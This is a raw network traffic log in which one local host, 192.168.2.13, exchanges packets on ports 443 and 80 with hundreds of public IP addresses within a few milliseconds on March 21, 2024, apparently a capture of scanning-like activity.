Mar 21, 2024 05:16:56.486803055 CET	43602	443	192.168.2.13	37.199.210.32
Mar 21, 2024 05:16:56.486808062 CET	443	43602	79.177.219.39	192.168.2.13
Mar 21, 2024 05:16:56.486809969 CET	43602	443	192.168.2.13	2.39.67.117
Mar 21, 2024 05:16:56.486809969 CET	43602	443	192.168.2.13	118.186.167.1
Mar 21, 2024 05:16:56.486815929 CET	43602	443	192.168.2.13	94.80.249.209
Mar 21, 2024 05:16:56.486815929 CET	443	43602	2.39.67.117	192.168.2.13
Mar 21, 2024 05:16:56.486823082 CET	443	43602	94.80.249.209	192.168.2.13
Mar 21, 2024 05:16:56.486840963 CET	43602	443	192.168.2.13	2.39.67.117
Mar 21, 2024 05:16:56.486846924 CET	43602	443	192.168.2.13	79.177.219.39
Mar 21, 2024 05:16:56.486851931 CET	43602	443	192.168.2.13	210.252.225.249
Mar 21, 2024 05:16:56.486855984 CET	43602	443	192.168.2.13	118.32.125.29
Mar 21, 2024 05:16:56.486856937 CET	43602	443	192.168.2.13	37.165.159.144
Mar 21, 2024 05:16:56.486857891 CET	443	43602	210.252.225.249	192.168.2.13
Mar 21, 2024 05:16:56.486861944 CET	43602	443	192.168.2.13	94.80.249.209
Mar 21, 2024 05:16:56.486865044 CET	443	43602	118.32.125.29	192.168.2.13
Mar 21, 2024 05:16:56.486866951 CET	443	43602	37.165.159.144	192.168.2.13
Mar 21, 2024 05:16:56.486869097 CET	43602	443	192.168.2.13	2.83.5.220
Mar 21, 2024 05:16:56.486870050 CET	43602	443	192.168.2.13	42.169.35.89
Mar 21, 2024 05:16:56.486870050 CET	43602	443	192.168.2.13	212.2.149.221
Mar 21, 2024 05:16:56.486876011 CET	443	43602	2.83.5.220	192.168.2.13
Mar 21, 2024 05:16:56.486879110 CET	44114	80	192.168.2.13	24.78.22.18
Mar 21, 2024 05:16:56.486877918 CET	443	43602	42.169.35.89	192.168.2.13
Mar 21, 2024 05:16:56.486887932 CET	443	43602	212.2.149.221	192.168.2.13
Mar 21, 2024 05:16:56.486893892 CET	43602	443	192.168.2.13	210.252.225.249
Mar 21, 2024 05:16:56.486896038 CET	43602	443	192.168.2.13	118.32.125.29
Mar 21, 2024 05:16:56.486907959 CET	43602	443	192.168.2.13	37.165.159.144
Mar 21, 2024 05:16:56.486915112 CET	43602	443	192.168.2.13	42.169.35.89
Mar 21, 2024 05:16:56.486915112 CET	43602	443	192.168.2.13	212.2.149.221
Mar 21, 2024 05:16:56.486917019 CET	43602	443	192.168.2.13	2.83.5.220
Mar 21, 2024 05:16:56.486928940 CET	44114	80	192.168.2.13	134.83.15.242
Mar 21, 2024 05:16:56.486928940 CET	44114	80	192.168.2.13	36.161.72.211
Mar 21, 2024 05:16:56.486954927 CET	44114	80	192.168.2.13	133.33.255.63
Mar 21, 2024 05:16:56.486955881 CET	44114	80	192.168.2.13	86.91.33.215
Mar 21, 2024 05:16:56.486955881 CET	44114	80	192.168.2.13	89.116.71.64
Mar 21, 2024 05:16:56.486965895 CET	44114	80	192.168.2.13	97.85.123.210
Mar 21, 2024 05:16:56.486975908 CET	44114	80	192.168.2.13	140.238.94.80
Mar 21, 2024 05:16:56.486989021 CET	44114	80	192.168.2.13	222.96.2.148
Mar 21, 2024 05:16:56.486990929 CET	44114	80	192.168.2.13	47.135.190.253
Mar 21, 2024 05:16:56.486994982 CET	44114	80	192.168.2.13	80.87.146.80
Mar 21, 2024 05:16:56.487015963 CET	44114	80	192.168.2.13	71.222.255.231
Mar 21, 2024 05:16:56.487018108 CET	44114	80	192.168.2.13	23.170.140.252
Mar 21, 2024 05:16:56.487016916 CET	44114	80	192.168.2.13	161.153.56.157
Mar 21, 2024 05:16:56.487025976 CET	44114	80	192.168.2.13	41.88.226.6
Mar 21, 2024 05:16:56.487025976 CET	44114	80	192.168.2.13	162.137.187.27
Mar 21, 2024 05:16:56.487030983 CET	44114	80	192.168.2.13	107.248.211.53
Mar 21, 2024 05:16:56.487046957 CET	43602	443	192.168.2.13	212.124.171.132
Mar 21, 2024 05:16:56.487046957 CET	43602	443	192.168.2.13	118.205.177.31
Mar 21, 2024 05:16:56.487047911 CET	44114	80	192.168.2.13	131.21.203.152
Mar 21, 2024 05:16:56.487051964 CET	43602	443	192.168.2.13	42.51.113.47
Mar 21, 2024 05:16:56.487055063 CET	443	43602	212.124.171.132	192.168.2.13
Mar 21, 2024 05:16:56.487057924 CET	443	43602	42.51.113.47	192.168.2.13
Mar 21, 2024 05:16:56.487061977 CET	43602	443	192.168.2.13	5.90.34.195
Mar 21, 2024 05:16:56.487062931 CET	443	43602	118.205.177.31	192.168.2.13
Mar 21, 2024 05:16:56.487065077 CET	43602	443	192.168.2.13	118.147.195.153
Mar 21, 2024 05:16:56.487071037 CET	443	43602	118.147.195.153	192.168.2.13
Mar 21, 2024 05:16:56.487072945 CET	443	43602	5.90.34.195	192.168.2.13
Mar 21, 2024 05:16:56.487076044 CET	43602	443	192.168.2.13	79.13.110.116
Mar 21, 2024 05:16:56.487082005 CET	443	43602	79.13.110.116	192.168.2.13
Mar 21, 2024 05:16:56.487082005 CET	43602	443	192.168.2.13	79.170.31.89
Mar 21, 2024 05:16:56.487085104 CET	43602	443	192.168.2.13	2.92.215.154
Mar 21, 2024 05:16:56.487090111 CET	443	43602	79.170.31.89	192.168.2.13
Mar 21, 2024 05:16:56.487090111 CET	443	43602	2.92.215.154	192.168.2.13
Mar 21, 2024 05:16:56.487093925 CET	43602	443	192.168.2.13	42.51.113.47
Mar 21, 2024 05:16:56.487097025 CET	43602	443	192.168.2.13	5.90.34.195
Mar 21, 2024 05:16:56.487098932 CET	43602	443	192.168.2.13	118.205.177.31
Mar 21, 2024 05:16:56.487098932 CET	43602	443	192.168.2.13	212.124.171.132
Mar 21, 2024 05:16:56.487108946 CET	43602	443	192.168.2.13	212.81.105.5
Mar 21, 2024 05:16:56.487112999 CET	43602	443	192.168.2.13	118.147.195.153
Mar 21, 2024 05:16:56.487112999 CET	43602	443	192.168.2.13	79.170.31.89
Mar 21, 2024 05:16:56.487117052 CET	43602	443	192.168.2.13	5.55.58.22
Mar 21, 2024 05:16:56.487117052 CET	43602	443	192.168.2.13	2.92.215.154
Mar 21, 2024 05:16:56.487123013 CET	443	43602	5.55.58.22	192.168.2.13
Mar 21, 2024 05:16:56.487128973 CET	443	43602	212.81.105.5	192.168.2.13
Mar 21, 2024 05:16:56.487144947 CET	43602	443	192.168.2.13	79.13.110.116
Mar 21, 2024 05:16:56.487154007 CET	44114	80	192.168.2.13	75.50.189.38
Mar 21, 2024 05:16:56.487154007 CET	44114	80	192.168.2.13	63.232.145.0
Mar 21, 2024 05:16:56.487159967 CET	44114	80	192.168.2.13	136.183.94.127
Mar 21, 2024 05:16:56.487160921 CET	43602	443	192.168.2.13	5.55.58.22
Mar 21, 2024 05:16:56.487159967 CET	44114	80	192.168.2.13	160.184.150.132
Mar 21, 2024 05:16:56.487164974 CET	43602	443	192.168.2.13	212.81.105.5
Mar 21, 2024 05:16:56.487168074 CET	44114	80	192.168.2.13	161.6.6.56
Mar 21, 2024 05:16:56.487175941 CET	44114	80	192.168.2.13	142.42.34.73
Mar 21, 2024 05:16:56.487175941 CET	44114	80	192.168.2.13	86.169.204.242
Mar 21, 2024 05:16:56.487190008 CET	44114	80	192.168.2.13	200.203.3.106
Mar 21, 2024 05:16:56.487207890 CET	44114	80	192.168.2.13	92.145.83.55
Mar 21, 2024 05:16:56.487217903 CET	44114	80	192.168.2.13	184.57.165.54
Mar 21, 2024 05:16:56.487219095 CET	44114	80	192.168.2.13	69.174.192.177
Mar 21, 2024 05:16:56.487217903 CET	44114	80	192.168.2.13	219.127.47.75
Mar 21, 2024 05:16:56.487260103 CET	44114	80	192.168.2.13	119.59.230.132
Mar 21, 2024 05:16:56.487266064 CET	44114	80	192.168.2.13	172.67.37.222
Mar 21, 2024 05:16:56.487297058 CET	43602	443	192.168.2.13	5.156.9.163
Mar 21, 2024 05:16:56.487297058 CET	43602	443	192.168.2.13	178.153.1.139
Mar 21, 2024 05:16:56.487298012 CET	43602	443	192.168.2.13	37.216.252.121
Mar 21, 2024 05:16:56.487307072 CET	443	43602	37.216.252.121	192.168.2.13
Mar 21, 2024 05:16:56.487308025 CET	443	43602	5.156.9.163	192.168.2.13
Mar 21, 2024 05:16:56.487313032 CET	443	43602	178.153.1.139	192.168.2.13
Mar 21, 2024 05:16:56.487315893 CET	43602	443	192.168.2.13	94.246.225.115
Mar 21, 2024 05:16:56.487320900 CET	443	43602	94.246.225.115	192.168.2.13
Mar 21, 2024 05:16:56.487320900 CET	43602	443	192.168.2.13	5.1.105.116
Mar 21, 2024 05:16:56.487329006 CET	443	43602	5.1.105.116	192.168.2.13
Mar 21, 2024 05:16:56.487329960 CET	43602	443	192.168.2.13	37.184.70.124
Mar 21, 2024 05:16:56.487329960 CET	43602	443	192.168.2.13	118.40.128.210
Mar 21, 2024 05:16:56.487330914 CET	43602	443	192.168.2.13	210.136.12.1
Mar 21, 2024 05:16:56.487339020 CET	43602	443	192.168.2.13	5.156.9.163
Mar 21, 2024 05:16:56.487339020 CET	43602	443	192.168.2.13	178.153.1.139
Mar 21, 2024 05:16:56.487341881 CET	43602	443	192.168.2.13	37.216.252.121
Mar 21, 2024 05:16:56.487341881 CET	443	43602	37.184.70.124	192.168.2.13
Mar 21, 2024 05:16:56.487346888 CET	443	43602	210.136.12.1	192.168.2.13
Mar 21, 2024 05:16:56.487349987 CET	43602	443	192.168.2.13	94.246.225.115
Mar 21, 2024 05:16:56.487358093 CET	443	43602	118.40.128.210	192.168.2.13
Mar 21, 2024 05:16:56.487361908 CET	43602	443	192.168.2.13	5.1.105.116
Mar 21, 2024 05:16:56.487385988 CET	43602	443	192.168.2.13	37.184.70.124
Mar 21, 2024 05:16:56.487386942 CET	44114	80	192.168.2.13	132.97.40.59
Mar 21, 2024 05:16:56.487386942 CET	43602	443	192.168.2.13	118.40.128.210
Mar 21, 2024 05:16:56.487386942 CET	44114	80	192.168.2.13	97.133.56.64
Mar 21, 2024 05:16:56.487390041 CET	43602	443	192.168.2.13	210.136.12.1
Mar 21, 2024 05:16:56.487400055 CET	44114	80	192.168.2.13	194.250.1.109
Mar 21, 2024 05:16:56.487409115 CET	44114	80	192.168.2.13	146.151.30.114
Mar 21, 2024 05:16:56.487409115 CET	44114	80	192.168.2.13	123.101.43.74
Mar 21, 2024 05:16:56.487416029 CET	44114	80	192.168.2.13	159.49.86.243
Mar 21, 2024 05:16:56.487428904 CET	44114	80	192.168.2.13	116.101.134.175
Mar 21, 2024 05:16:56.487441063 CET	44114	80	192.168.2.13	20.119.88.12
Mar 21, 2024 05:16:56.487448931 CET	44114	80	192.168.2.13	23.60.133.144
Mar 21, 2024 05:16:56.487457991 CET	44114	80	192.168.2.13	84.141.69.249
Mar 21, 2024 05:16:56.487462997 CET	44114	80	192.168.2.13	79.194.22.56
Mar 21, 2024 05:16:56.487469912 CET	44114	80	192.168.2.13	79.19.75.18
Mar 21, 2024 05:16:56.487469912 CET	44114	80	192.168.2.13	1.200.147.201
Mar 21, 2024 05:16:56.487473011 CET	44114	80	192.168.2.13	101.173.76.45
Mar 21, 2024 05:16:56.487473011 CET	44114	80	192.168.2.13	66.156.53.23
Mar 21, 2024 05:16:56.487488031 CET	44114	80	192.168.2.13	80.163.108.192
Mar 21, 2024 05:16:56.487509012 CET	43602	443	192.168.2.13	109.144.225.6
Mar 21, 2024 05:16:56.487512112 CET	43602	443	192.168.2.13	178.230.22.238
Mar 21, 2024 05:16:56.487515926 CET	443	43602	109.144.225.6	192.168.2.13
Mar 21, 2024 05:16:56.487518072 CET	443	43602	178.230.22.238	192.168.2.13
Mar 21, 2024 05:16:56.487520933 CET	43602	443	192.168.2.13	79.31.221.150
Mar 21, 2024 05:16:56.487526894 CET	443	43602	79.31.221.150	192.168.2.13
Mar 21, 2024 05:16:56.487541914 CET	43602	443	192.168.2.13	5.167.30.217
Mar 21, 2024 05:16:56.487549067 CET	43602	443	192.168.2.13	42.35.112.164
Mar 21, 2024 05:16:56.487549067 CET	43602	443	192.168.2.13	178.75.55.236
Mar 21, 2024 05:16:56.487551928 CET	443	43602	5.167.30.217	192.168.2.13
Mar 21, 2024 05:16:56.487552881 CET	43602	443	192.168.2.13	42.28.64.190
Mar 21, 2024 05:16:56.487555027 CET	43602	443	192.168.2.13	109.144.225.6
Mar 21, 2024 05:16:56.487559080 CET	443	43602	42.28.64.190	192.168.2.13
Mar 21, 2024 05:16:56.487559080 CET	443	43602	42.35.112.164	192.168.2.13
Mar 21, 2024 05:16:56.487560987 CET	43602	443	192.168.2.13	210.226.60.73
Mar 21, 2024 05:16:56.487562895 CET	43602	443	192.168.2.13	178.230.22.238
Mar 21, 2024 05:16:56.487566948 CET	443	43602	210.226.60.73	192.168.2.13
Mar 21, 2024 05:16:56.487571001 CET	43602	443	192.168.2.13	79.31.221.150
Mar 21, 2024 05:16:56.487575054 CET	443	43602	178.75.55.236	192.168.2.13
Mar 21, 2024 05:16:56.487601995 CET	43602	443	192.168.2.13	42.28.64.190
Mar 21, 2024 05:16:56.487602949 CET	43602	443	192.168.2.13	5.167.30.217
Mar 21, 2024 05:16:56.487602949 CET	43602	443	192.168.2.13	210.226.60.73
Mar 21, 2024 05:16:56.487613916 CET	43602	443	192.168.2.13	42.35.112.164
Mar 21, 2024 05:16:56.487613916 CET	43602	443	192.168.2.13	178.75.55.236
Mar 21, 2024 05:16:56.487622976 CET	43602	443	192.168.2.13	37.179.98.115
Mar 21, 2024 05:16:56.487624884 CET	43602	443	192.168.2.13	37.77.63.204
Mar 21, 2024 05:16:56.487627029 CET	43602	443	192.168.2.13	2.105.188.205
Mar 21, 2024 05:16:56.487627029 CET	43602	443	192.168.2.13	2.99.196.135
Mar 21, 2024 05:16:56.487632036 CET	443	43602	37.77.63.204	192.168.2.13
Mar 21, 2024 05:16:56.487632990 CET	443	43602	2.105.188.205	192.168.2.13
Mar 21, 2024 05:16:56.487636089 CET	443	43602	37.179.98.115	192.168.2.13
Mar 21, 2024 05:16:56.487641096 CET	43602	443	192.168.2.13	79.236.155.196
Mar 21, 2024 05:16:56.487641096 CET	443	43602	2.99.196.135	192.168.2.13
Mar 21, 2024 05:16:56.487646103 CET	443	43602	79.236.155.196	192.168.2.13
Mar 21, 2024 05:16:56.487648964 CET	43602	443	192.168.2.13	94.49.134.49
Mar 21, 2024 05:16:56.487648964 CET	43602	443	192.168.2.13	178.185.44.167
Mar 21, 2024 05:16:56.487648964 CET	43602	443	192.168.2.13	79.7.82.45
Mar 21, 2024 05:16:56.487656116 CET	443	43602	94.49.134.49	192.168.2.13
Mar 21, 2024 05:16:56.487658024 CET	43602	443	192.168.2.13	212.204.243.82
Mar 21, 2024 05:16:56.487659931 CET	443	43602	79.7.82.45	192.168.2.13
Mar 21, 2024 05:16:56.487662077 CET	443	43602	178.185.44.167	192.168.2.13
Mar 21, 2024 05:16:56.487663984 CET	443	43602	212.204.243.82	192.168.2.13
Mar 21, 2024 05:16:56.487665892 CET	43602	443	192.168.2.13	37.77.63.204
Mar 21, 2024 05:16:56.487668991 CET	43602	443	192.168.2.13	2.157.114.184
Mar 21, 2024 05:16:56.487675905 CET	43602	443	192.168.2.13	79.236.155.196
Mar 21, 2024 05:16:56.487677097 CET	43602	443	192.168.2.13	2.105.188.205
Mar 21, 2024 05:16:56.487677097 CET	43602	443	192.168.2.13	2.99.196.135
Mar 21, 2024 05:16:56.487678051 CET	43602	443	192.168.2.13	37.179.98.115
Mar 21, 2024 05:16:56.487679005 CET	443	43602	2.157.114.184	192.168.2.13
Mar 21, 2024 05:16:56.487685919 CET	43602	443	192.168.2.13	212.204.243.82
Mar 21, 2024 05:16:56.487698078 CET	43602	443	192.168.2.13	178.185.44.167
Mar 21, 2024 05:16:56.487698078 CET	43602	443	192.168.2.13	79.7.82.45
Mar 21, 2024 05:16:56.487701893 CET	43602	443	192.168.2.13	94.49.134.49
Mar 21, 2024 05:16:56.487708092 CET	43602	443	192.168.2.13	210.98.129.91
Mar 21, 2024 05:16:56.487708092 CET	43602	443	192.168.2.13	210.102.106.164
Mar 21, 2024 05:16:56.487715006 CET	443	43602	210.98.129.91	192.168.2.13
Mar 21, 2024 05:16:56.487721920 CET	43602	443	192.168.2.13	37.61.53.179
Mar 21, 2024 05:16:56.487723112 CET	443	43602	210.102.106.164	192.168.2.13
Mar 21, 2024 05:16:56.487730026 CET	443	43602	37.61.53.179	192.168.2.13
Mar 21, 2024 05:16:56.487741947 CET	43602	443	192.168.2.13	118.220.138.183
Mar 21, 2024 05:16:56.487744093 CET	43602	443	192.168.2.13	2.157.114.184
Mar 21, 2024 05:16:56.487746954 CET	443	43602	118.220.138.183	192.168.2.13
Mar 21, 2024 05:16:56.487747908 CET	43602	443	192.168.2.13	210.98.129.91
Mar 21, 2024 05:16:56.487766981 CET	43602	443	192.168.2.13	210.102.106.164
Mar 21, 2024 05:16:56.487814903 CET	44114	80	192.168.2.13	108.41.110.65
Mar 21, 2024 05:16:56.487817049 CET	44114	80	192.168.2.13	8.125.54.63
Mar 21, 2024 05:16:56.487817049 CET	44114	80	192.168.2.13	37.225.219.233
Mar 21, 2024 05:16:56.487835884 CET	44114	80	192.168.2.13	20.198.202.242
Mar 21, 2024 05:16:56.487837076 CET	44114	80	192.168.2.13	90.10.115.197
Mar 21, 2024 05:16:56.487837076 CET	44114	80	192.168.2.13	58.65.197.226
Mar 21, 2024 05:16:56.487838030 CET	44114	80	192.168.2.13	194.158.212.204
Mar 21, 2024 05:16:56.487853050 CET	44114	80	192.168.2.13	104.49.11.111
Mar 21, 2024 05:16:56.487859011 CET	43602	443	192.168.2.13	37.61.53.179
Mar 21, 2024 05:16:56.487859011 CET	43602	443	192.168.2.13	118.220.138.183
Mar 21, 2024 05:16:56.487874031 CET	44114	80	192.168.2.13	88.20.80.248
Mar 21, 2024 05:16:56.487879992 CET	44114	80	192.168.2.13	32.168.241.35
Mar 21, 2024 05:16:56.487886906 CET	44114	80	192.168.2.13	72.94.243.192
Mar 21, 2024 05:16:56.487889051 CET	44114	80	192.168.2.13	80.124.21.59
Mar 21, 2024 05:16:56.487889051 CET	44114	80	192.168.2.13	107.211.117.33
Mar 21, 2024 05:16:56.487890005 CET	44114	80	192.168.2.13	19.230.77.159
Mar 21, 2024 05:16:56.487895966 CET	44114	80	192.168.2.13	136.6.47.163
Mar 21, 2024 05:16:56.487895966 CET	44114	80	192.168.2.13	74.100.121.101
Mar 21, 2024 05:16:56.487900019 CET	44114	80	192.168.2.13	164.202.240.59
Mar 21, 2024 05:16:56.487900019 CET	44114	80	192.168.2.13	50.27.187.150
Mar 21, 2024 05:16:56.487910032 CET	44114	80	192.168.2.13	70.97.5.157
Mar 21, 2024 05:16:56.487910032 CET	44114	80	192.168.2.13	139.129.35.9
Mar 21, 2024 05:16:56.487919092 CET	44114	80	192.168.2.13	223.18.171.244
Mar 21, 2024 05:16:56.487921000 CET	44114	80	192.168.2.13	32.18.164.221
Mar 21, 2024 05:16:56.487930059 CET	44114	80	192.168.2.13	151.253.211.161
Mar 21, 2024 05:16:56.487950087 CET	44114	80	192.168.2.13	216.93.81.99
Mar 21, 2024 05:16:56.487952948 CET	44114	80	192.168.2.13	73.60.211.20
Mar 21, 2024 05:16:56.487957954 CET	44114	80	192.168.2.13	205.250.146.59
Mar 21, 2024 05:16:56.487957954 CET	44114	80	192.168.2.13	105.128.16.144
Mar 21, 2024 05:16:56.487963915 CET	44114	80	192.168.2.13	163.68.38.52
Mar 21, 2024 05:16:56.487963915 CET	44114	80	192.168.2.13	101.101.205.71
Mar 21, 2024 05:16:56.487977982 CET	44114	80	192.168.2.13	142.24.239.191
Mar 21, 2024 05:16:56.487984896 CET	44114	80	192.168.2.13	96.134.35.185
Mar 21, 2024 05:16:56.487986088 CET	44114	80	192.168.2.13	138.128.76.149
Mar 21, 2024 05:16:56.488007069 CET	43602	443	192.168.2.13	94.73.108.195
Mar 21, 2024 05:16:56.488009930 CET	43602	443	192.168.2.13	109.66.124.115
Mar 21, 2024 05:16:56.488013983 CET	443	43602	94.73.108.195	192.168.2.13
Mar 21, 2024 05:16:56.488015890 CET	443	43602	109.66.124.115	192.168.2.13
Mar 21, 2024 05:16:56.488027096 CET	43602	443	192.168.2.13	2.209.185.89
Mar 21, 2024 05:16:56.488027096 CET	43602	443	192.168.2.13	210.243.21.241
Mar 21, 2024 05:16:56.488033056 CET	443	43602	2.209.185.89	192.168.2.13
Mar 21, 2024 05:16:56.488033056 CET	443	43602	210.243.21.241	192.168.2.13
Mar 21, 2024 05:16:56.488035917 CET	43602	443	192.168.2.13	42.170.45.203
Mar 21, 2024 05:16:56.488039970 CET	43602	443	192.168.2.13	2.228.174.37
Mar 21, 2024 05:16:56.488042116 CET	43602	443	192.168.2.13	212.200.134.104
Mar 21, 2024 05:16:56.488042116 CET	43602	443	192.168.2.13	178.96.89.185
Mar 21, 2024 05:16:56.488042116 CET	43602	443	192.168.2.13	42.152.3.88
Mar 21, 2024 05:16:56.488044024 CET	443	43602	42.170.45.203	192.168.2.13
Mar 21, 2024 05:16:56.488044977 CET	43602	443	192.168.2.13	109.66.124.115
Mar 21, 2024 05:16:56.488045931 CET	443	43602	2.228.174.37	192.168.2.13
Mar 21, 2024 05:16:56.488049984 CET	443	43602	212.200.134.104	192.168.2.13
Mar 21, 2024 05:16:56.488053083 CET	443	43602	42.152.3.88	192.168.2.13
Mar 21, 2024 05:16:56.488054037 CET	43602	443	192.168.2.13	94.73.108.195
Mar 21, 2024 05:16:56.488059044 CET	443	43602	178.96.89.185	192.168.2.13
Mar 21, 2024 05:16:56.488063097 CET	43602	443	192.168.2.13	2.209.185.89
Mar 21, 2024 05:16:56.488065004 CET	43602	443	192.168.2.13	2.162.221.126
Mar 21, 2024 05:16:56.488066912 CET	43602	443	192.168.2.13	210.243.21.241
Mar 21, 2024 05:16:56.488071918 CET	443	43602	2.162.221.126	192.168.2.13
Mar 21, 2024 05:16:56.488075972 CET	43602	443	192.168.2.13	42.170.45.203
Mar 21, 2024 05:16:56.488085032 CET	43602	443	192.168.2.13	2.228.174.37
Mar 21, 2024 05:16:56.488097906 CET	43602	443	192.168.2.13	212.200.134.104
Mar 21, 2024 05:16:56.488097906 CET	43602	443	192.168.2.13	178.96.89.185
Mar 21, 2024 05:16:56.488101959 CET	43602	443	192.168.2.13	42.152.3.88
Mar 21, 2024 05:16:56.488101959 CET	43602	443	192.168.2.13	2.162.221.126
Mar 21, 2024 05:16:56.488115072 CET	43602	443	192.168.2.13	118.252.239.109
Mar 21, 2024 05:16:56.488121033 CET	443	43602	118.252.239.109	192.168.2.13
Mar 21, 2024 05:16:56.488126040 CET	43602	443	192.168.2.13	37.80.48.7
Mar 21, 2024 05:16:56.488126040 CET	43602	443	192.168.2.13	94.78.101.111
Mar 21, 2024 05:16:56.488126040 CET	43602	443	192.168.2.13	2.226.114.13
Mar 21, 2024 05:16:56.488131046 CET	443	43602	37.80.48.7	192.168.2.13
Mar 21, 2024 05:16:56.488136053 CET	443	43602	94.78.101.111	192.168.2.13
Mar 21, 2024 05:16:56.488136053 CET	43602	443	192.168.2.13	5.115.240.237
Mar 21, 2024 05:16:56.488142014 CET	43602	443	192.168.2.13	2.124.64.62
Mar 21, 2024 05:16:56.488143921 CET	443	43602	5.115.240.237	192.168.2.13
Mar 21, 2024 05:16:56.488147020 CET	443	43602	2.226.114.13	192.168.2.13
Mar 21, 2024 05:16:56.488149881 CET	43602	443	192.168.2.13	42.253.101.209
Mar 21, 2024 05:16:56.488151073 CET	443	43602	2.124.64.62	192.168.2.13
Mar 21, 2024 05:16:56.488152981 CET	43602	443	192.168.2.13	118.252.239.109
Mar 21, 2024 05:16:56.488157034 CET	443	43602	42.253.101.209	192.168.2.13
Mar 21, 2024 05:16:56.488169909 CET	43602	443	192.168.2.13	37.80.48.7
Mar 21, 2024 05:16:56.488171101 CET	43602	443	192.168.2.13	94.78.101.111
Mar 21, 2024 05:16:56.488173962 CET	43602	443	192.168.2.13	5.115.240.237
Mar 21, 2024 05:16:56.488178015 CET	43602	443	192.168.2.13	2.124.64.62
Mar 21, 2024 05:16:56.488182068 CET	43602	443	192.168.2.13	2.226.114.13
Mar 21, 2024 05:16:56.488192081 CET	43602	443	192.168.2.13	42.253.101.209
Mar 21, 2024 05:16:56.488204956 CET	44114	80	192.168.2.13	129.248.88.101
Mar 21, 2024 05:16:56.488209963 CET	44114	80	192.168.2.13	25.193.112.192
Mar 21, 2024 05:16:56.488229036 CET	44114	80	192.168.2.13	13.59.47.88
Mar 21, 2024 05:16:56.488234997 CET	44114	80	192.168.2.13	222.186.228.81
Mar 21, 2024 05:16:56.488234997 CET	44114	80	192.168.2.13	119.226.249.228
Mar 21, 2024 05:16:56.488238096 CET	44114	80	192.168.2.13	155.40.163.33
Mar 21, 2024 05:16:56.488239050 CET	44114	80	192.168.2.13	157.243.167.102
Mar 21, 2024 05:16:56.488255024 CET	44114	80	192.168.2.13	147.3.203.64
Mar 21, 2024 05:16:56.488259077 CET	44114	80	192.168.2.13	206.225.31.125
Mar 21, 2024 05:16:56.488259077 CET	44114	80	192.168.2.13	25.7.39.48
Mar 21, 2024 05:16:56.488264084 CET	44114	80	192.168.2.13	40.239.117.55
Mar 21, 2024 05:16:56.488267899 CET	44114	80	192.168.2.13	20.188.238.138
Mar 21, 2024 05:16:56.488270044 CET	44114	80	192.168.2.13	119.15.90.119
Mar 21, 2024 05:16:56.488291025 CET	44114	80	192.168.2.13	157.166.197.191
Mar 21, 2024 05:16:56.488311052 CET	44114	80	192.168.2.13	115.3.104.37
Mar 21, 2024 05:16:56.488317013 CET	44114	80	192.168.2.13	96.122.81.151
Mar 21, 2024 05:16:56.488317013 CET	44114	80	192.168.2.13	82.61.116.206
Mar 21, 2024 05:16:56.488333941 CET	44114	80	192.168.2.13	114.53.18.23
Mar 21, 2024 05:16:56.488352060 CET	43602	443	192.168.2.13	109.226.42.95
Mar 21, 2024 05:16:56.488354921 CET	44114	80	192.168.2.13	113.59.104.9
Mar 21, 2024 05:16:56.488354921 CET	44114	80	192.168.2.13	76.94.21.245
Mar 21, 2024 05:16:56.488358021 CET	443	43602	109.226.42.95	192.168.2.13
Mar 21, 2024 05:16:56.488358021 CET	43602	443	192.168.2.13	37.167.121.12
Mar 21, 2024 05:16:56.488358974 CET	44114	80	192.168.2.13	189.130.96.58
Mar 21, 2024 05:16:56.488358974 CET	44114	80	192.168.2.13	174.31.119.181
Mar 21, 2024 05:16:56.488368988 CET	43602	443	192.168.2.13	5.41.73.107
Mar 21, 2024 05:16:56.488374949 CET	443	43602	5.41.73.107	192.168.2.13
Mar 21, 2024 05:16:56.488379002 CET	443	43602	37.167.121.12	192.168.2.13
Mar 21, 2024 05:16:56.488389015 CET	43602	443	192.168.2.13	178.189.93.24
Mar 21, 2024 05:16:56.488389015 CET	43602	443	192.168.2.13	212.204.231.6
Mar 21, 2024 05:16:56.488389969 CET	43602	443	192.168.2.13	2.155.85.157
Mar 21, 2024 05:16:56.488394022 CET	43602	443	192.168.2.13	109.226.42.95
Mar 21, 2024 05:16:56.488394022 CET	43602	443	192.168.2.13	42.79.114.222
Mar 21, 2024 05:16:56.488394976 CET	43602	443	192.168.2.13	94.59.145.207
Mar 21, 2024 05:16:56.488394022 CET	43602	443	192.168.2.13	2.252.173.221
Mar 21, 2024 05:16:56.488398075 CET	443	43602	178.189.93.24	192.168.2.13
Mar 21, 2024 05:16:56.488400936 CET	443	43602	2.155.85.157	192.168.2.13
Mar 21, 2024 05:16:56.488400936 CET	443	43602	94.59.145.207	192.168.2.13
Mar 21, 2024 05:16:56.488404989 CET	443	43602	42.79.114.222	192.168.2.13
Mar 21, 2024 05:16:56.488404989 CET	43602	443	192.168.2.13	5.41.73.107
Mar 21, 2024 05:16:56.488408089 CET	443	43602	212.204.231.6	192.168.2.13
Mar 21, 2024 05:16:56.488411903 CET	43602	443	192.168.2.13	37.167.121.12
Mar 21, 2024 05:16:56.488413095 CET	443	43602	2.252.173.221	192.168.2.13
Mar 21, 2024 05:16:56.488418102 CET	43602	443	192.168.2.13	178.90.245.191
Mar 21, 2024 05:16:56.488425970 CET	443	43602	178.90.245.191	192.168.2.13
Mar 21, 2024 05:16:56.488428116 CET	43602	443	192.168.2.13	118.111.77.186
Mar 21, 2024 05:16:56.488428116 CET	43602	443	192.168.2.13	94.59.145.207
Mar 21, 2024 05:16:56.488432884 CET	43602	443	192.168.2.13	178.189.93.24
Mar 21, 2024 05:16:56.488437891 CET	43602	443	192.168.2.13	212.204.231.6
Mar 21, 2024 05:16:56.488435984 CET	443	43602	118.111.77.186	192.168.2.13
Mar 21, 2024 05:16:56.488445997 CET	43602	443	192.168.2.13	2.155.85.157
Mar 21, 2024 05:16:56.488460064 CET	43602	443	192.168.2.13	42.79.114.222
Mar 21, 2024 05:16:56.488460064 CET	43602	443	192.168.2.13	2.252.173.221
Mar 21, 2024 05:16:56.488465071 CET	43602	443	192.168.2.13	178.90.245.191
Mar 21, 2024 05:16:56.488488913 CET	43602	443	192.168.2.13	118.111.77.186
Mar 21, 2024 05:16:56.488488913 CET	44114	80	192.168.2.13	72.46.171.129
Mar 21, 2024 05:16:56.488488913 CET	44114	80	192.168.2.13	66.22.211.20
Mar 21, 2024 05:16:56.488497019 CET	44114	80	192.168.2.13	193.70.91.229
Mar 21, 2024 05:16:56.488497019 CET	44114	80	192.168.2.13	153.198.145.207
Mar 21, 2024 05:16:56.488506079 CET	44114	80	192.168.2.13	140.134.193.26
Mar 21, 2024 05:16:56.488508940 CET	44114	80	192.168.2.13	180.130.119.83
